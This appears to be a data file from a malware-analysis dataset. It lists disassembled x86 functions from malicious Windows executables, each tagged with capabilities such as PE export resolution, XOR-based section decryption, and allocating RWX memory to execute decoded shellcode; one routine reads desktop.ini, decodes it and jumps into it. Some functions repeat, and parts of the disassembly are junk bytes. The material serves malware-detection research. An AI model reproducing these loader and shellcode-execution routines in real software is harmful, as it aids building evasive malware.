joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b2ff3
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4b3015
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4b3015
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4b3015
ret
cmp word [ebx + 4], 0x14c
jne 0x4b3015
test word [ebx + 0x16], 2
je 0x4b3015
test word [ebx + 0x16], 0x100
je 0x4b3015
cmp word [ebx + 0x18], 0x10b
jne 0x4b3015
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4b3015
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4b30a1
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4b3035
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.00499f80
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4b3015
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x4b30a1
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x4b3015
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x4b3015
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x4b3015
ret
cmp word [ebx + 4], 0x14c
jne 0x4b3015
test word [ebx + 0x16], 2
je 0x4b3015
test word [ebx + 0x16], 0x100
je 0x4b3015
cmp word [ebx + 0x18], 0x10b
jne 0x4b3015
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x4b3015
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x4b30a1
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x4b3035
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.00499f80
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x4b3015
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x4b3158
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4b31b1
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4b3158
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4b3167
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x8b8e0a
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4b31b8
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0049a02e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4b3257
add edi, 4
add eax, 2
dec ecx
jne 0x4b319d
call 0x4b3204
loope 0x4b31fa
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4b3254
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4b3265
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4b3218
cmp eax, ecx
ja 0x4b3218
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4b32a2
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4b3298
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0049a50d
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x4b3167
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x4b31b1
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x4b3158
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x4b3167
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x8b8e0a
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x4b31b8
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.0049a02e
cmp eax, dword [ebp + 0xc]
pop eax
je 0x4b3257
add edi, 4
add eax, 2
dec ecx
jne 0x4b319d
call 0x4b3204
loope 0x4b31fa
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x4b3254
mov dh, pe_nt_image_headers32
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x4b3265
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x4b3218
cmp eax, ecx
ja 0x4b3218
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x4b32a2
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x4b3298
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.0049a50d
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x42454a67
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..rsrc
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x53f614e8
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x431000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x54d5b88
nop
test eax, eax
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x53d81872
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x10007c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x10007c2e
pop dword [ebp - 0x3c]
mov eax, 0x5f58fe54
add eax, 0xb0a77dda
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x310fccaf
sub dword [ebp - 0x4c], 0xe2bd8764
mov dword [ebp - 0x48], 0xf515c6bd
add dword [ebp - 0x48], 0x3d1d8588
mov dword [ebp - 0x44], 0x3be5aa46
sub dword [ebp - 0x44], 0xef996618
mov dword [ebp - 0x40], 0xd06b5ffc
sub dword [ebp - 0x40], 0xd06b5ffc
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xfde87cb9
add eax, 0x1218039b
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x2e758c45
sub dword [ebp - 0x4c], 0xba0322ef
mov dword [ebp - 0x48], 0x8fd210b3
sub dword [ebp - 0x48], 0x4e65af3e
mov dword [ebp - 0x44], 0x6db984cf
add dword [ebp - 0x44], 0xf5b5e79d
mov dword [ebp - 0x40], 0x2916f21c
sub dword [ebp - 0x40], 0x2916f21c
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0x7a2515e3
sub eax, 0x6a249593
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x379c2
push 0
call eax
mov ecx, 0x4bc5
mov edi, eax
mov ebx, 0xc9679f47
sub ebx, 0xb966a547
add ebx, dword [ebp - 0x3c]
mov esi, 0x97ded1b
mov edx, dword [ebx]
xor dword [ebp - 0x38], edx
add edx, esi
sub dword [ebp - 0x2c], esi
mov dword [edi], edx
sub dword [ebp - 0x38], 0x2b5103a
add edi, 4
add ebx, 0x3c783ea6
add ebx, 0xc387c15e
loop 0x10007d44
add eax, 0x121e7
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6d6feb4c
sub ecx, 0x5d6feb4c
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x417f2e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x417f3d
pop dword [ebp - 8]
mov eax, 0x417f3d
sub dword [ebp - 8], eax
push 0x40
push 0x1000
push 0x3c364
push 0
mov eax, 0x83ef7141
add eax, 0x7c531eeb
add eax, dword [ebp - 8]
call dword [eax]
mov ecx, 0x54a7
xor edi, edi
add edi, eax
mov esi, 0x436e00
add esi, dword [ebp - 8]
mov ebx, 0xf1a94024
xor dword [ebp - 4], edx
mov edx, dword [esi]
sub dword [ebp - 4], edi
add edx, ebx
add dword [ebp - 4], esi
mov dword [edi], edx
sub dword [ebp - 4], 0x732b63f4
add edi, 0x258a1450
add edi, 0xda75ebb4
add esi, 4
loop 0x417f87
add eax, 0xa44dd25
add eax, 0xf5bc684a
xor ebx, ebx
add ebx, eax
add eax, 0xf73fe306
add eax, 0x8c01cff
mov ecx, 0xf185135b
sub ecx, 0xf145135b
add ecx, dword [ebp - 8]
call ebx
leave
ret

Function at 0x41e7e0
Capabilities:
Check os version
Get common file path

Disassembly:
sub esp, 0x2d4
push esi
call dword [sym.imp.kernel32.dll_GetVersion]
cmp ax, 6
je 0x41e81d
push str.SetDefaultDllDirectories
push 0x429a14
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
test eax, eax
je 0x41e81d
push 0xc00
call eax
test eax, eax
jne 0x41e8b6
lea eax, [esp + 8]
push 0x106
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
test eax, eax
je 0x41e8b6
cmp eax, 0x104
ja 0x41e8b6
cmp word [esp + eax*2 + 6], 0x5c
je 0x41e84c
mov word [esp + eax*2 + 8], 0x5c
inc eax
mov esi, dword [str.userenv]
cmp byte [esi], 0
je 0x41e8b6
push ebp
lea ecx, [esp + eax*2 + 0xc]
push edi
mov edi, dword [sym.imp.kernel32.dll_LoadLibraryExW]
mov dword [esp + 0xc], ecx
mov ebp, 0x6c
mov cl, byte [esi]
mov eax, dword [esp + 0xc]
inc esi
test cl, cl
je 0x41e88b
xor dx, dx
add eax, 2
mov dl, cl
inc esi
mov word [eax - 2], dx
mov cl, byte [esi - 1]
test cl, cl
jne 0x41e877
mov word [eax], 0x2e
mov word [eax + 2], 0x64
mov word [eax + 4], bp
mov word [eax + 6], bp
mov word [eax + 8], 0
push 8
lea eax, [esp + 0x14]
push 0
push eax
call edi
cmp byte [esi], 0
jne 0x41e86c
pop edi
pop ebp
pop esi
add esp, 0x2d4
ret
Function at 0x401969
Capabilities:
Clear file content
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x400
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp edi, 0x58ced85
jg 0x40198f
inc edi
cmp edi, 0x1f6502b1
jl 0x401975
cmp dword [0x2813ee4], 0x400
jne 0x4019f0
push str.sadahoziyofejonoh_niforapo_pihekezavokigubodatojup_rafepigojamulexiwodugaxexude_jam
push str.nelugidoneyari
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeKeepStringHandle]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push 0x422c18
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push esi
call dword [sym.imp.KERNEL32.dll_CancelIo]
push esi
call fcn.00401fdd
push esi
call fcn.00401fa3
push esi
push esi
call fcn.00402307
push esi
call fcn.004023b4
push esi
call fcn.004023c3
add esp, 0x18
xor edi, edi
cmp edi, 0xd09a
jge 0x401a01
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp edi, 0xd2ced2
jg 0x401a29
inc edi
cmp edi, 0x263ff
jl 0x4019f2
mov eax, dword [0x426044]
mov dword [0x2813ee4], eax
call fcn.004016c8
mov edi, 0x3078f
cmp dword [0x2813ee4], 0x51f
jne 0x401a55
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x401a3d
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x40522d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x425a74]
jne 0x405237
repz ret
jmp fcn.00407862
Function at 0x40666b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x425a74]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040404e
and dword [ebp - 0x14], 0
cmp dword [0x430ba8], 0
mov dword [ebp - 0x18], eax
jne 0x40671e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4067c6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4067c6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x430ba8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x430bac], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x430bb0], eax
call edi
push eax
call esi
mov dword [0x430bb8], eax
test eax, eax
je 0x40671e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x430bb4], eax
mov eax, dword [0x430bb4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x406777
cmp dword [0x430bb8], ecx
je 0x406777
push eax
call esi
push dword [0x430bb8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x406777
test ebx, ebx
je 0x406777
call edi
test eax, eax
je 0x40676e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40676e
test byte [ebp - 8], 1
jne 0x406777
or dword [ebp + 0x10], 0x200000
jmp 0x4067aa
mov eax, dword [0x430bac]
cmp eax, dword [ebp - 0x18]
je 0x4067aa
push eax
call esi
test eax, eax
je 0x4067aa
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4067aa
mov eax, dword [0x430bb0]
cmp eax, dword [ebp - 0x18]
je 0x4067aa
push eax
call esi
test eax, eax
je 0x4067aa
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x430ba8]
call esi
test eax, eax
je 0x4067c6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4067c8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040522d
leave
ret
Function at 0x43ebb0
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x43ebce
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x43ebc3
pop esi
ret

Function at 0x43ed10
Capabilities:
Write file on windows

Disassembly:
sub esp, 8
mov eax, dword [esp + 0x10]
push edi
push 0
push 0x20
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
xor eax, eax
cmp edi, 0xffffffff
je 0x43eda2
mov eax, dword [esp + 0x10]
push ebx
mov ebx, 1
push ebp
cmp eax, ebx
push esi
mov dword [esp + 0x10], ebx
jle 0x43ed94
mov ebp, dword [sym.imp.KERNEL32.DLL_WriteFile]
lea esi, [esp + 0x2c]
mov eax, dword [esi]
lea edx, [esp + 0x14]
push 0
push edx
lea ecx, [eax + 8]
mov eax, dword [eax + 4]
push eax
push ecx
push edi
call ebp
test eax, eax
je 0x43ed8c
mov eax, dword [esp + 0x1c]
inc ebx
add esi, 0xc
cmp ebx, eax
jl 0x43ed55
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret
mov dword [esp + 0x10], 0
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
pop edi
add esp, 8
ret

Function at 0x43b656
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
mov edx, dword [esp]
add esp, 4
mov ecx, esi
call fcn.0043b69c
sub esi, 0x5fe44c87
add ecx, 0x3d4291ab
sub ecx, 1
xor dword [eax], edx
add ecx, ecx
add esi, 0xceecee63
inc eax
add esi, esi
cmp eax, ebx
jne fcn.0043b656
mov esi, ecx
dec esi
ret
Function at 0x4026b0
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, eax
mov edi, dword fs:[0x18]
sub esp, 0x14
mov dword [ebp - 0x14], edx
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
call eax
sub esp, 0xc
mov esi, eax
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
sub esp, 0xc
mov dword [ebx + 0x10], eax
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov edx, dword [ebp - 0x14]
mov dword [ebx + 0x14], eax
sub esp, 0xc
mov eax, dword [edx + 8]
mov dword [ebx + 0x1c], eax
mov eax, dword [ebx + 0x10]
mov dword [eax], 0
mov eax, dword [ebx + 0x10]
mov dword [eax + 4], 1
mov eax, dword [ebx + 0x10]
mov dword [eax + 8], esi
mov eax, dword [edx + 8]
mov dword [esi + 4], 2
mov dword [esi], eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
sub esp, 0xc
mov dword [esi + 8], eax
mov dword [esp + 8], 0xc
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov edx, dword [ebp - 0x14]
mov esi, eax
mov eax, dword [ebx + 0x14]
sub esp, 0xc
mov dword [eax], 0
mov eax, dword [ebx + 0x14]
mov dword [eax + 4], 1
mov eax, dword [ebx + 0x14]
mov dword [eax + 8], esi
mov eax, dword [edx + 8]
mov dword [esi + 4], 2
mov dword [esi], eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x10]
call eax
mov dword [esi + 8], eax
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402800
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x10
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4028b0
mov eax, dword [ecx + 4]
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
test eax, eax
je 0x40286f
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov edx, dword fs:[0x18]
lea esi, [esi]
lea eax, [edi + edi*2]
add edi, 1
shl eax, 2
add eax, dword [ecx + 8]
mov eax, dword [eax + 8]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x10], edx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
mov ecx, dword [ebx + 0x10]
mov edx, dword [ebp - 0x10]
sub esp, 0xc
cmp edi, dword [ecx + 4]
jb 0x402838
mov eax, dword [ecx + 8]
mov dword [esp + 4], 0
mov edi, dword fs:[0x18]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x10]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
sub esp, 0xc
mov ecx, dword [ebx + 0x14]
test ecx, ecx
je 0x402958
mov eax, dword [ecx + 4]
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
test eax, eax
je 0x402917
mov esi, dword [sym.imp.kernel32.dll_HeapFree]
xor edi, edi
mov edx, dword fs:[0x18]
lea esi, [esi]
nop
lea eax, [edi + edi*2]
add edi, 1
shl eax, 2
add eax, dword [ecx + 8]
mov eax, dword [eax + 8]
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x10], edx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebp - 0x10]
sub esp, 0xc
cmp edi, dword [ecx + 4]
jb 0x4028e0
mov eax, dword [ecx + 8]
mov dword [esp + 4], 0
mov edi, dword fs:[0x18]
mov dword [esp + 8], eax
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
mov eax, dword [ebx + 0x14]
sub esp, 0xc
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call esi
sub esp, 0xc
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret